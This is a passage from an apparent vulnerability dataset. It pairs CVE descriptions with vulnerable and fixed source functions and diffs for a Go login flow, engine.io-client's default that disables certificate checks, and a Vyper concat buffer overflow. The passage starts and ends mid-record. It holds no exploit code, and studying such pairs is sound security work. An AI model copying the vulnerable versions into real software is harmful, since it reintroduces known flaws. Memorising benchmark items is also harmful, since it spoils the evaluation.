"internal/auth/repository/eventsourcing/eventstore/auth_request.go", "start_line": 768, "end_line": 832, "snippet": "func (repo *AuthRequestRepo) checkLoginName(ctx context.Context, request *domain.AuthRequest, loginNameInput string) (err error) {\n\tvar user *user_view_model.UserView\n\tloginNameInput = strings.TrimSpace(loginNameInput)\n\tpreferredLoginName := loginNameInput\n\tif request.RequestedOrgID != \"\" {\n\t\tif request.RequestedOrgDomain {\n\t\t\tdomainPolicy, err := repo.getDomainPolicy(ctx, request.RequestedOrgID)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif domainPolicy.UserLoginMustBeDomain {\n\t\t\t\tpreferredLoginName += \"@\" + request.RequestedPrimaryDomain\n\t\t\t}\n\t\t}\n\t\tuser, err = repo.checkLoginNameInputForResourceOwner(ctx, request, loginNameInput, preferredLoginName)\n\t} else {\n\t\tuser, err = repo.checkLoginNameInput(ctx, request, loginNameInput, preferredLoginName)\n\t}\n\t// return any error apart from not found ones directly\n\tif err != nil && !zerrors.IsNotFound(err) {\n\t\treturn err\n\t}\n\t// if there's an active (human) user, let's use it\n\tif user != nil && !user.HumanView.IsZero() && domain.UserState(user.State).IsEnabled() {\n\t\trequest.SetUserInfo(user.ID, loginNameInput, user.PreferredLoginName, \"\", \"\", user.ResourceOwner)\n\t\treturn nil\n\t}\n\t// the user was either not found or not active\n\t// so check if the loginname suffix matches a verified org domain\n\t// but only if no org was requested (by id or domain)\n\tif request.RequestedOrgID == \"\" {\n\t\tok, errDomainDiscovery := repo.checkDomainDiscovery(ctx, request, loginNameInput)\n\t\tif errDomainDiscovery != nil || ok {\n\t\t\treturn errDomainDiscovery\n\t\t}\n\t}\n\t// let's once again check if the user was just inactive\n\tif user != nil && user.State == int32(domain.UserStateInactive) {\n\t\treturn zerrors.ThrowPreconditionFailed(nil, \"AUTH-2n8fs\", \"Errors.User.Inactive\")\n\t}\n\t// or locked\n\tif user != nil && user.State == int32(domain.UserStateLocked) {\n\t\treturn zerrors.ThrowPreconditionFailed(nil, \"AUTH-SF3gb\", \"Errors.User.Locked\")\n\t}\n\t// let's just check if unknown usernames are ignored\n\tif request.LoginPolicy != nil && request.LoginPolicy.IgnoreUnknownUsernames {\n\t\tif request.LabelPolicy != nil && request.LabelPolicy.HideLoginNameSuffix {\n\t\t\tpreferredLoginName = loginNameInput\n\t\t}\n\t\trequest.SetUserInfo(unknownUserID, preferredLoginName, preferredLoginName, preferredLoginName, \"\", request.RequestedOrgID)\n\t\treturn nil\n\t}\n\t// there was no policy that allowed unknown loginnames in any case\n\t// so not found errors can now be returned\n\tif err != nil {\n\t\treturn err\n\t}\n\t// let's check if it was a machine user\n\tif !user.MachineView.IsZero() {\n\t\treturn zerrors.ThrowPreconditionFailed(nil, \"AUTH-DGV4g\", \"Errors.User.NotHuman\")\n\t}\n\t// everything should be handled by now\n\tlogging.WithFields(\"authRequest\", request.ID, \"loginName\", loginNameInput).Error(\"unhandled state for checkLoginName\")\n\treturn zerrors.ThrowInternal(nil, \"AUTH-asf3df\", \"Errors.Internal\")\n}"}, {"id": "vul_go_289_2", "commit": "2eb187f1410a25e80ff86255923d534041c8d139", "file_path": "internal/auth/repository/eventsourcing/eventstore/auth_request.go", "start_line": 1037, "end_line": 1161, "snippet": "func (repo *AuthRequestRepo) nextSteps(ctx context.Context, request *domain.AuthRequest, checkLoggedIn bool) (steps []domain.NextStep, err error) {\n\tctx, span := tracing.NewSpan(ctx)\n\tdefer func() { span.EndWithError(err) }()\n\n\tif request == nil {\n\t\treturn nil, zerrors.ThrowInvalidArgument(nil, \"EVENT-ds27a\", \"Errors.Internal\")\n\t}\n\tsteps = make([]domain.NextStep, 0)\n\tif !checkLoggedIn && domain.IsPrompt(request.Prompt, domain.PromptNone) {\n\t\treturn append(steps, &domain.RedirectToCallbackStep{}), nil\n\t}\n\tif request.UserID == \"\" {\n\t\tsteps, err = repo.nextStepsUser(ctx, request)\n\t\tif err != nil || len(steps) > 0 {\n\t\t\treturn steps, err\n\t\t}\n\t}\n\tuser, err := activeUserByID(ctx, repo.UserViewProvider, repo.UserEventProvider, repo.OrgViewProvider, repo.LockoutPolicyViewProvider, request.UserID, request.LoginPolicy.IgnoreUnknownUsernames)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif user.PreferredLoginName != \"\" {\n\t\trequest.LoginName = user.PreferredLoginName\n\t}\n\tuserSession, err := userSessionByIDs(ctx, repo.UserSessionViewProvider, repo.UserEventProvider, request.AgentID, user)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trequest.SessionID = userSession.ID\n\trequest.DisplayName = userSession.DisplayName\n\trequest.AvatarKey = userSession.AvatarKey\n\tif user.HumanView != nil && user.HumanView.PreferredLanguage != \"\" {\n\t\trequest.PreferredLanguage = gu.Ptr(language.Make(user.HumanView.PreferredLanguage))\n\t}\n\n\tisInternalLogin := (request.SelectedIDPConfigID == \"\" && userSession.SelectedIDPConfigID == \"\") || request.RequestLocalAuth\n\tidps, err := checkExternalIDPsOfUser(ctx, repo.IDPUserLinksProvider, user.ID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tnoLocalAuth := request.LoginPolicy != nil && !request.LoginPolicy.AllowUsernamePassword\n\n\tallowedLinkedIDPs := checkForAllowedIDPs(request.AllowedExternalIDPs, idps.Links)\n\tif (!isInternalLogin || len(allowedLinkedIDPs) > 0 || noLocalAuth) &&\n\t\tlen(request.LinkingUsers) == 0 &&\n\t\t!request.RequestLocalAuth {\n\t\tstep, err := repo.idpChecked(request, allowedLinkedIDPs, userSession)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif step != nil {\n\t\t\treturn append(steps, step), nil\n\t\t}\n\t}\n\tif isInternalLogin || (!isInternalLogin && len(request.LinkingUsers) > 0) {\n\t\tstep := repo.firstFactorChecked(ctx, request, user, userSession)\n\t\tif step != nil {\n\t\t\treturn append(steps, step), nil\n\t\t}\n\t}\n\n\t// If the user never had a verified email, we need to verify it.\n\t// This prevents situations, where OTP email is the only MFA method and no verified email is set.\n\t// If the user had a verified email, but change it and has not yet verified the new one, we'll verify it after we checked the MFA methods.\n\tif user.VerifiedEmail == \"\" && !user.IsEmailVerified {\n\t\treturn append(steps, &domain.VerifyEMailStep{\n\t\t\tInitPassword: !user.PasswordSet && len(idps.Links) == 0,\n\t\t}), nil\n\t}\n\n\tstep, ok, err := repo.mfaChecked(userSession, request, user, isInternalLogin && len(request.LinkingUsers) == 0)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif !ok {\n\t\treturn append(steps, step), nil\n\t}\n\n\texpired := passwordAgeChangeRequired(request.PasswordAgePolicy, user.PasswordChanged)\n\tif expired || user.PasswordChangeRequired {\n\t\tsteps = append(steps, &domain.ChangePasswordStep{Expired: expired})\n\t}\n\tif !user.IsEmailVerified {\n\t\tsteps = append(steps, &domain.VerifyEMailStep{\n\t\t\tInitPassword: !user.PasswordSet && len(idps.Links) == 0,\n\t\t})\n\t}\n\tif user.UsernameChangeRequired {\n\t\tsteps = append(steps, &domain.ChangeUsernameStep{})\n\t}\n\n\tif expired || user.PasswordChangeRequired || !user.IsEmailVerified || user.UsernameChangeRequired {\n\t\treturn steps, nil\n\t}\n\n\tif request.LinkingUsers != nil && len(request.LinkingUsers) != 0 {\n\t\treturn append(steps, &domain.LinkUsersStep{}), nil\n\t}\n\t//PLANNED: consent step\n\n\tmissing, err := projectRequired(ctx, request, repo.ProjectProvider)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif missing {\n\t\treturn append(steps, &domain.ProjectRequiredStep{}), nil\n\t}\n\n\tmissing, err = userGrantRequired(ctx, request, user, repo.UserGrantProvider)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif missing {\n\t\treturn append(steps, &domain.GrantRequiredStep{}), nil\n\t}\n\n\tok, err = repo.hasSucceededPage(ctx, request, repo.ApplicationProvider)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif ok {\n\t\tsteps = append(steps, &domain.LoginSucceededStep{})\n\t}\n\treturn append(steps, &domain.RedirectToCallbackStep{}), nil\n}"}], "fix_func": [{"id": "fix_go_289_1", "commit": "14de8ecac2afafee4975ed7ac26f3ca4a2b0f82c", "file_path": "internal/auth/repository/eventsourcing/eventstore/auth_request.go", "start_line": 768, "end_line": 832, "snippet": "func (repo *AuthRequestRepo) checkLoginName(ctx context.Context, request *domain.AuthRequest, loginNameInput string) (err error) {\n\tvar user *user_view_model.UserView\n\tloginNameInput = strings.TrimSpace(loginNameInput)\n\tpreferredLoginName := loginNameInput\n\tif request.RequestedOrgID != \"\" {\n\t\tif request.RequestedOrgDomain {\n\t\t\tdomainPolicy, err := repo.getDomainPolicy(ctx, request.RequestedOrgID)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif domainPolicy.UserLoginMustBeDomain {\n\t\t\t\tpreferredLoginName += \"@\" + request.RequestedPrimaryDomain\n\t\t\t}\n\t\t}\n\t\tuser, err = repo.checkLoginNameInputForResourceOwner(ctx, request, loginNameInput, preferredLoginName)\n\t} else {\n\t\tuser, err = repo.checkLoginNameInput(ctx, request, loginNameInput, preferredLoginName)\n\t}\n\t// return any error apart from not found ones directly\n\tif err != nil && !zerrors.IsNotFound(err) {\n\t\treturn err\n\t}\n\t// if there's an active (human) user, let's use it\n\tif user != nil && !user.HumanView.IsZero() && domain.UserState(user.State).IsEnabled() {\n\t\trequest.SetUserInfo(user.ID, loginNameInput, preferredLoginName, \"\", \"\", user.ResourceOwner)\n\t\treturn nil\n\t}\n\t// the user was either not found or not active\n\t// so check if the loginname suffix matches a verified org domain\n\t// but only if no org was requested (by id or domain)\n\tif request.RequestedOrgID == \"\" {\n\t\tok, errDomainDiscovery := repo.checkDomainDiscovery(ctx, request, loginNameInput)\n\t\tif errDomainDiscovery != nil || ok {\n\t\t\treturn errDomainDiscovery\n\t\t}\n\t}\n\t// let's once again check if the user was just inactive\n\tif user != nil && user.State == int32(domain.UserStateInactive) {\n\t\treturn zerrors.ThrowPreconditionFailed(nil, \"AUTH-2n8fs\", \"Errors.User.Inactive\")\n\t}\n\t// or locked\n\tif user != nil && user.State == int32(domain.UserStateLocked) {\n\t\treturn zerrors.ThrowPreconditionFailed(nil, \"AUTH-SF3gb\", \"Errors.User.Locked\")\n\t}\n\t// let's just check if unknown usernames are ignored\n\tif request.LoginPolicy != nil && request.LoginPolicy.IgnoreUnknownUsernames {\n\t\tif request.LabelPolicy != nil && request.LabelPolicy.HideLoginNameSuffix {\n\t\t\tpreferredLoginName = loginNameInput\n\t\t}\n\t\trequest.SetUserInfo(unknownUserID, preferredLoginName, preferredLoginName, preferredLoginName, \"\", request.RequestedOrgID)\n\t\treturn nil\n\t}\n\t// there was no policy that allowed unknown loginnames in any case\n\t// so not found errors can now be returned\n\tif err != nil {\n\t\treturn err\n\t}\n\t// let's check if it was a machine user\n\tif !user.MachineView.IsZero() {\n\t\treturn zerrors.ThrowPreconditionFailed(nil, \"AUTH-DGV4g\", \"Errors.User.NotHuman\")\n\t}\n\t// everything should be handled by now\n\tlogging.WithFields(\"authRequest\", request.ID, \"loginName\", loginNameInput).Error(\"unhandled state for checkLoginName\")\n\treturn zerrors.ThrowInternal(nil, \"AUTH-asf3df\", \"Errors.Internal\")\n}"}, {"id": "fix_go_289_2", "commit": "14de8ecac2afafee4975ed7ac26f3ca4a2b0f82c", "file_path": "internal/auth/repository/eventsourcing/eventstore/auth_request.go", "start_line": 1037, "end_line": 1158, "snippet": "func (repo *AuthRequestRepo) nextSteps(ctx context.Context, request *domain.AuthRequest, checkLoggedIn bool) (steps []domain.NextStep, err error) {\n\tctx, span := tracing.NewSpan(ctx)\n\tdefer func() { span.EndWithError(err) }()\n\n\tif request == nil {\n\t\treturn nil, zerrors.ThrowInvalidArgument(nil, \"EVENT-ds27a\", \"Errors.Internal\")\n\t}\n\tsteps = make([]domain.NextStep, 0)\n\tif !checkLoggedIn && domain.IsPrompt(request.Prompt, domain.PromptNone) {\n\t\treturn append(steps, &domain.RedirectToCallbackStep{}), nil\n\t}\n\tif request.UserID == \"\" {\n\t\tsteps, err = repo.nextStepsUser(ctx, request)\n\t\tif err != nil || len(steps) > 0 {\n\t\t\treturn steps, err\n\t\t}\n\t}\n\tuser, err := activeUserByID(ctx, repo.UserViewProvider, repo.UserEventProvider, repo.OrgViewProvider, repo.LockoutPolicyViewProvider, request.UserID, request.LoginPolicy.IgnoreUnknownUsernames)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tuserSession, err := userSessionByIDs(ctx, repo.UserSessionViewProvider, repo.UserEventProvider, request.AgentID, user)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trequest.SessionID = userSession.ID\n\trequest.DisplayName = userSession.DisplayName\n\trequest.AvatarKey = userSession.AvatarKey\n\tif user.HumanView != nil && user.HumanView.PreferredLanguage != \"\" {\n\t\trequest.PreferredLanguage = gu.Ptr(language.Make(user.HumanView.PreferredLanguage))\n\t}\n\n\tisInternalLogin := (request.SelectedIDPConfigID == \"\" && userSession.SelectedIDPConfigID == \"\") || request.RequestLocalAuth\n\tidps, err := checkExternalIDPsOfUser(ctx, repo.IDPUserLinksProvider, user.ID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tnoLocalAuth := request.LoginPolicy != nil && !request.LoginPolicy.AllowUsernamePassword\n\n\tallowedLinkedIDPs := checkForAllowedIDPs(request.AllowedExternalIDPs, idps.Links)\n\tif (!isInternalLogin || len(allowedLinkedIDPs) > 0 || noLocalAuth) &&\n\t\tlen(request.LinkingUsers) == 0 &&\n\t\t!request.RequestLocalAuth {\n\t\tstep, err := repo.idpChecked(request, allowedLinkedIDPs, userSession)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif step != nil {\n\t\t\treturn append(steps, step), nil\n\t\t}\n\t}\n\tif isInternalLogin || (!isInternalLogin && len(request.LinkingUsers) > 0) {\n\t\tstep := repo.firstFactorChecked(ctx, request, user, userSession)\n\t\tif step != nil {\n\t\t\treturn append(steps, step), nil\n\t\t}\n\t}\n\n\t// If the user never had a verified email, we need to verify it.\n\t// This prevents situations, where OTP email is the only MFA method and no verified email is set.\n\t// If the user had a verified email, but change it and has not yet verified the new one, we'll verify it after we checked the MFA methods.\n\tif user.VerifiedEmail == \"\" && !user.IsEmailVerified {\n\t\treturn append(steps, &domain.VerifyEMailStep{\n\t\t\tInitPassword: !user.PasswordSet && len(idps.Links) == 0,\n\t\t}), nil\n\t}\n\n\tstep, ok, err := repo.mfaChecked(userSession, request, user, isInternalLogin && len(request.LinkingUsers) == 0)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif !ok {\n\t\treturn append(steps, step), nil\n\t}\n\n\texpired := passwordAgeChangeRequired(request.PasswordAgePolicy, user.PasswordChanged)\n\tif expired || user.PasswordChangeRequired {\n\t\tsteps = append(steps, &domain.ChangePasswordStep{Expired: expired})\n\t}\n\tif !user.IsEmailVerified {\n\t\tsteps = append(steps, &domain.VerifyEMailStep{\n\t\t\tInitPassword: !user.PasswordSet && len(idps.Links) == 0,\n\t\t})\n\t}\n\tif user.UsernameChangeRequired {\n\t\tsteps = append(steps, &domain.ChangeUsernameStep{})\n\t}\n\n\tif expired || user.PasswordChangeRequired || !user.IsEmailVerified || user.UsernameChangeRequired {\n\t\treturn steps, nil\n\t}\n\n\tif request.LinkingUsers != nil && len(request.LinkingUsers) != 0 {\n\t\treturn append(steps, &domain.LinkUsersStep{}), nil\n\t}\n\t//PLANNED: consent step\n\n\tmissing, err := projectRequired(ctx, request, repo.ProjectProvider)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif missing {\n\t\treturn append(steps, &domain.ProjectRequiredStep{}), nil\n\t}\n\n\tmissing, err = userGrantRequired(ctx, request, user, repo.UserGrantProvider)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif missing {\n\t\treturn append(steps, &domain.GrantRequiredStep{}), nil\n\t}\n\n\tok, err = repo.hasSucceededPage(ctx, request, repo.ApplicationProvider)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif ok {\n\t\tsteps = append(steps, &domain.LoginSucceededStep{})\n\t}\n\treturn append(steps, &domain.RedirectToCallbackStep{}), nil\n}"}], "vul_patch": "--- a/internal/auth/repository/eventsourcing/eventstore/auth_request.go\n+++ b/internal/auth/repository/eventsourcing/eventstore/auth_request.go\n@@ -22,7 +22,7 @@\n \t}\n \t// if there's an active (human) user, let's use it\n \tif user != nil && !user.HumanView.IsZero() && domain.UserState(user.State).IsEnabled() {\n-\t\trequest.SetUserInfo(user.ID, loginNameInput, user.PreferredLoginName, \"\", \"\", user.ResourceOwner)\n+\t\trequest.SetUserInfo(user.ID, loginNameInput, preferredLoginName, \"\", \"\", user.ResourceOwner)\n \t\treturn nil\n \t}\n \t// the user was either not found or not active\n\n--- a/internal/auth/repository/eventsourcing/eventstore/auth_request.go\n+++ b/internal/auth/repository/eventsourcing/eventstore/auth_request.go\n@@ -18,9 +18,6 @@\n \tuser, err := activeUserByID(ctx, repo.UserViewProvider, repo.UserEventProvider, repo.OrgViewProvider, repo.LockoutPolicyViewProvider, request.UserID, request.LoginPolicy.IgnoreUnknownUsernames)\n \tif err != nil {\n \t\treturn nil, err\n-\t}\n-\tif user.PreferredLoginName != \"\" {\n-\t\trequest.LoginName = user.PreferredLoginName\n \t}\n \tuserSession, err := userSessionByIDs(ctx, repo.UserSessionViewProvider, repo.UserEventProvider, request.AgentID, user)\n \tif err != nil {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2016-10536", "cve_description": "engine.io-client is the client for engine.io, the implementation of a transport-based cross-browser/cross-device bi-directional communication layer for Socket.IO. The vulnerability is related to the way that node.js handles the `rejectUnauthorized` setting. If the value is something that evaluates to false, certificate verification will be disabled. This is problematic as engine.io-client 1.6.8 and earlier passes in an object for settings that includes the rejectUnauthorized property, whether it has been set or not. If the value has not been explicitly changed, it will be passed in as `null`, resulting in certificate verification being turned off.", "cwe_info": {"CWE-295": {"name": "Improper Certificate Validation", "description": "The product does not validate, or incorrectly validates, a certificate."}}, "repo": "https://github.com/socketio/engine.io-client", "patch_url": ["https://github.com/socketio/engine.io-client/commit/2c55b278a491bf45313ecc0825cf800e2f7ff5c1"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_78_1", "commit": "6045ccf", "file_path": "lib/socket.js", "start_line": "28", "end_line": "104", "snippet": "function Socket (uri, opts) {\n  if (!(this instanceof Socket)) return new Socket(uri, opts);\n\n  opts = opts || {};\n\n  if (uri && 'object' === typeof uri) {\n    opts = uri;\n    uri = null;\n  }\n\n  if (uri) {\n    uri = parseuri(uri);\n    opts.hostname = uri.host;\n    opts.secure = uri.protocol === 'https' || uri.protocol === 'wss';\n    opts.port = uri.port;\n    if (uri.query) opts.query = uri.query;\n  } else if (opts.host) {\n    opts.hostname = parseuri(opts.host).host;\n  }\n\n  this.secure = null != opts.secure ? opts.secure\n    : (global.location && 'https:' === location.protocol);\n\n  if (opts.hostname && !opts.port) {\n    // if no port is specified manually, use the protocol default\n    opts.port = this.secure ? '443' : '80';\n  }\n\n  this.agent = opts.agent || false;\n  this.hostname = opts.hostname ||\n    (global.location ? location.hostname : 'localhost');\n  this.port = opts.port || (global.location && location.port\n      ? location.port\n      : (this.secure ? 443 : 80));\n  this.query = opts.query || {};\n  if ('string' === typeof this.query) this.query = parseqs.decode(this.query);\n  this.upgrade = false !== opts.upgrade;\n  this.path = (opts.path || '/engine.io').replace(/\\/$/, '') + '/';\n  this.forceJSONP = !!opts.forceJSONP;\n  this.jsonp = false !== opts.jsonp;\n  this.forceBase64 = !!opts.forceBase64;\n  this.enablesXDR = !!opts.enablesXDR;\n  this.timestampParam = opts.timestampParam || 't';\n  this.timestampRequests = opts.timestampRequests;\n  this.transports = opts.transports || ['polling', 'websocket'];\n  this.readyState = '';\n  this.writeBuffer = [];\n  this.policyPort = opts.policyPort || 843;\n  this.rememberUpgrade = opts.rememberUpgrade || false;\n  this.binaryType = null;\n  this.onlyBinaryUpgrades = opts.onlyBinaryUpgrades;\n  this.perMessageDeflate = false !== opts.perMessageDeflate ? (opts.perMessageDeflate || {}) : false;\n\n  if (true === this.perMessageDeflate) this.perMessageDeflate = {};\n  if (this.perMessageDeflate && null == this.perMessageDeflate.threshold) {\n    this.perMessageDeflate.threshold = 1024;\n  }\n\n  // SSL options for Node.js client\n  this.pfx = opts.pfx || null;\n  this.key = opts.key || null;\n  this.passphrase = opts.passphrase || null;\n  this.cert = opts.cert || null;\n  this.ca = opts.ca || null;\n  this.ciphers = opts.ciphers || null;\n  this.rejectUnauthorized = opts.rejectUnauthorized === undefined ? null : opts.rejectUnauthorized;\n\n  // other options for Node.js client\n  var freeGlobal = typeof global === 'object' && global;\n  if (freeGlobal.global === freeGlobal) {\n    if (opts.extraHeaders && Object.keys(opts.extraHeaders).length > 0) {\n      this.extraHeaders = opts.extraHeaders;\n    }\n  }\n\n  this.open();\n}"}], "fix_func": [{"id": "fix_js_78_1", "commit": "2c55b27", "file_path": "lib/socket.js", "start_line": "28", "end_line": "104", "snippet": "function Socket (uri, opts) {\n  if (!(this instanceof Socket)) return new Socket(uri, opts);\n\n  opts = opts || {};\n\n  if (uri && 'object' === typeof uri) {\n    opts = uri;\n    uri = null;\n  }\n\n  if (uri) {\n    uri = parseuri(uri);\n    opts.hostname = uri.host;\n    opts.secure = uri.protocol === 'https' || uri.protocol === 'wss';\n    opts.port = uri.port;\n    if (uri.query) opts.query = uri.query;\n  } else if (opts.host) {\n    opts.hostname = parseuri(opts.host).host;\n  }\n\n  this.secure = null != opts.secure ? opts.secure\n    : (global.location && 'https:' === location.protocol);\n\n  if (opts.hostname && !opts.port) {\n    // if no port is specified manually, use the protocol default\n    opts.port = this.secure ? '443' : '80';\n  }\n\n  this.agent = opts.agent || false;\n  this.hostname = opts.hostname ||\n    (global.location ? location.hostname : 'localhost');\n  this.port = opts.port || (global.location && location.port\n      ? location.port\n      : (this.secure ? 443 : 80));\n  this.query = opts.query || {};\n  if ('string' === typeof this.query) this.query = parseqs.decode(this.query);\n  this.upgrade = false !== opts.upgrade;\n  this.path = (opts.path || '/engine.io').replace(/\\/$/, '') + '/';\n  this.forceJSONP = !!opts.forceJSONP;\n  this.jsonp = false !== opts.jsonp;\n  this.forceBase64 = !!opts.forceBase64;\n  this.enablesXDR = !!opts.enablesXDR;\n  this.timestampParam = opts.timestampParam || 't';\n  this.timestampRequests = opts.timestampRequests;\n  this.transports = opts.transports || ['polling', 'websocket'];\n  this.readyState = '';\n  this.writeBuffer = [];\n  this.policyPort = opts.policyPort || 843;\n  this.rememberUpgrade = opts.rememberUpgrade || false;\n  this.binaryType = null;\n  this.onlyBinaryUpgrades = opts.onlyBinaryUpgrades;\n  this.perMessageDeflate = false !== opts.perMessageDeflate ? (opts.perMessageDeflate || {}) : false;\n\n  if (true === this.perMessageDeflate) this.perMessageDeflate = {};\n  if (this.perMessageDeflate && null == this.perMessageDeflate.threshold) {\n    this.perMessageDeflate.threshold = 1024;\n  }\n\n  // SSL options for Node.js client\n  this.pfx = opts.pfx || null;\n  this.key = opts.key || null;\n  this.passphrase = opts.passphrase || null;\n  this.cert = opts.cert || null;\n  this.ca = opts.ca || null;\n  this.ciphers = opts.ciphers || null;\n  this.rejectUnauthorized = opts.rejectUnauthorized === undefined ? true : opts.rejectUnauthorized;\n\n  // other options for Node.js client\n  var freeGlobal = typeof global === 'object' && global;\n  if (freeGlobal.global === freeGlobal) {\n    if (opts.extraHeaders && Object.keys(opts.extraHeaders).length > 0) {\n      this.extraHeaders = opts.extraHeaders;\n    }\n  }\n\n  this.open();\n}"}], "vul_patch": "--- a/lib/socket.js\n+++ b/lib/socket.js\n@@ -63,7 +63,7 @@\n   this.cert = opts.cert || null;\n   this.ca = opts.ca || null;\n   this.ciphers = opts.ciphers || null;\n-  this.rejectUnauthorized = opts.rejectUnauthorized === undefined ? null : opts.rejectUnauthorized;\n+  this.rejectUnauthorized = opts.rejectUnauthorized === undefined ? true : opts.rejectUnauthorized;\n \n   // other options for Node.js client\n   var freeGlobal = typeof global === 'object' && global;\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-22419", "cve_description": "Vyper is a Pythonic Smart Contract Language for the Ethereum Virtual Machine. The `concat` built-in can write over the bounds of the memory buffer that was allocated for it and thus overwrite existing valid data. The root cause is that the `build_IR` for `concat` doesn't properly adhere to the API of copy functions (for `>=0.3.2` the `copy_bytes` function). A contract search was performed and no vulnerable contracts were found in production. The buffer overflow can result in the change of semantics of the contract. The overflow is length-dependent and thus it might go unnoticed during contract testing. However, certainly not all usages of concat will result in overwritten valid data as we require it to be in an internal function and close to the return statement where other memory allocations don't occur. This issue has been addressed in 0.4.0.", "cwe_info": {"CWE-787": {"name": "Out-of-bounds Write", "description": "The product writes data past the end, or before the beginning, of the intended buffer."}}, "repo": "https://github.com/vyperlang/vyper", "patch_url": ["https://github.com/vyperlang/vyper/commit/55e18f6d128b2da8986adbbcccf1cd59a4b9ad6f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_429_1", "commit": "56b0d4f", "file_path": "vyper/builtins/functions.py", "start_line": 530, "end_line": 589, "snippet": "    def build_IR(self, expr, context):\n        args = [Expr(arg, context).ir_node for arg in expr.args]\n        if len(args) < 2:\n            raise StructureException(\"Concat expects at least two arguments\", expr)\n\n        # Maximum length of the output\n        dst_maxlen = sum(\n            [arg.typ.maxlen if isinstance(arg.typ, _BytestringT) else arg.typ.m for arg in args]\n        )\n\n        # TODO: try to grab these from semantic analysis\n        if isinstance(args[0].typ, StringT):\n            ret_typ = StringT(dst_maxlen)\n        else:\n            ret_typ = BytesT(dst_maxlen)\n\n        # Node representing the position of the output in memory\n        dst = IRnode.from_list(\n            context.new_internal_variable(ret_typ),\n            typ=ret_typ,\n            location=MEMORY,\n            annotation=\"concat destination\",\n        )\n\n        ret = [\"seq\"]\n        # stack item representing our current offset in the dst buffer\n        ofst = \"concat_ofst\"\n\n        # TODO: optimize for the case where all lengths are statically known.\n        for arg in args:\n            dst_data = add_ofst(bytes_data_ptr(dst), ofst)\n\n            if isinstance(arg.typ, _BytestringT):\n                # Ignore empty strings\n                if arg.typ.maxlen == 0:\n                    continue\n\n                with arg.cache_when_complex(\"arg\") as (b1, arg):\n                    argdata = bytes_data_ptr(arg)\n\n                    with get_bytearray_length(arg).cache_when_complex(\"len\") as (b2, arglen):\n                        do_copy = [\n                            \"seq\",\n                            copy_bytes(dst_data, argdata, arglen, arg.typ.maxlen),\n                            [\"set\", ofst, [\"add\", ofst, arglen]],\n                        ]\n                        ret.append(b1.resolve(b2.resolve(do_copy)))\n\n            else:\n                ret.append(STORE(dst_data, unwrap_location(arg)))\n                ret.append([\"set\", ofst, [\"add\", ofst, arg.typ.m]])\n\n        ret.append(STORE(dst, ofst))\n\n        # Memory location of the output\n        ret.append(dst)\n\n        return IRnode.from_list(\n            [\"with\", ofst, 0, ret], typ=ret_typ, location=MEMORY, annotation=\"concat\"\n        )"}], "fix_func": [{"id": "fix_py_429_1", "commit": "55e18f6d128b2da8986adbbcccf1cd59a4b9ad6f", "file_path": "vyper/builtins/functions.py", "start_line": 530, "end_line": 588, "snippet": "    def build_IR(self, expr, context):\n        args = [Expr(arg, context).ir_node for arg in expr.args]\n        if len(args) < 2:\n            raise StructureException(\"Concat expects at least two arguments\", expr)\n\n        # Maximum length of the output\n        dst_maxlen = sum(\n            [arg.typ.maxlen if isinstance(arg.typ, _BytestringT) else arg.typ.m for arg in args]\n        )\n\n        # TODO: try to grab these from semantic analysis\n        if isinstance(args[0].typ, StringT):\n            ret_typ = StringT(dst_maxlen)\n        else:\n            ret_typ = BytesT(dst_maxlen)\n\n        # respect API of copy_bytes\n        bufsize = dst_maxlen + 32\n        buf = context.new_internal_variable(BytesT(bufsize))\n\n        # Node representing the position of the output in memory\n        dst = IRnode.from_list(buf, typ=ret_typ, location=MEMORY, annotation=\"concat destination\")\n\n        ret = [\"seq\"]\n        # stack item representing our current offset in the dst buffer\n        ofst = \"concat_ofst\"\n\n        # TODO: optimize for the case where all lengths are statically known.\n        for arg in args:\n            dst_data = add_ofst(bytes_data_ptr(dst), ofst)\n\n            if isinstance(arg.typ, _BytestringT):\n                # Ignore empty strings\n                if arg.typ.maxlen == 0:\n                    continue\n\n                with arg.cache_when_complex(\"arg\") as (b1, arg):\n                    argdata = bytes_data_ptr(arg)\n\n                    with get_bytearray_length(arg).cache_when_complex(\"len\") as (b2, arglen):\n                        do_copy = [\n                            \"seq\",\n                            copy_bytes(dst_data, argdata, arglen, arg.typ.maxlen),\n                            [\"set\", ofst, [\"add\", ofst, arglen]],\n                        ]\n                        ret.append(b1.resolve(b2.resolve(do_copy)))\n\n            else:\n                ret.append(STORE(dst_data, unwrap_location(arg)))\n                ret.append([\"set\", ofst, [\"add\", ofst, arg.typ.m]])\n\n        ret.append(STORE(dst, ofst))\n\n        # Memory location of the output\n        ret.append(dst)\n\n        return IRnode.from_list(\n            [\"with\", ofst, 0, ret], typ=ret_typ, location=MEMORY, annotation=\"concat\"\n        )"}], "vul_patch": "--- a/vyper/builtins/functions.py\n+++ b/vyper/builtins/functions.py\n@@ -14,13 +14,12 @@\n         else:\n             ret_typ = BytesT(dst_maxlen)\n \n+        # respect API of copy_bytes\n+        bufsize = dst_maxlen + 32\n+        buf = context.new_internal_variable(BytesT(bufsize))\n+\n         # Node representing the position of the output in memory\n-        dst = IRnode.from_list(\n-            context.new_internal_variable(ret_typ),\n-            typ=ret_typ,\n-            location=MEMORY,\n-            annotation=\"concat destination\",\n-        )\n+        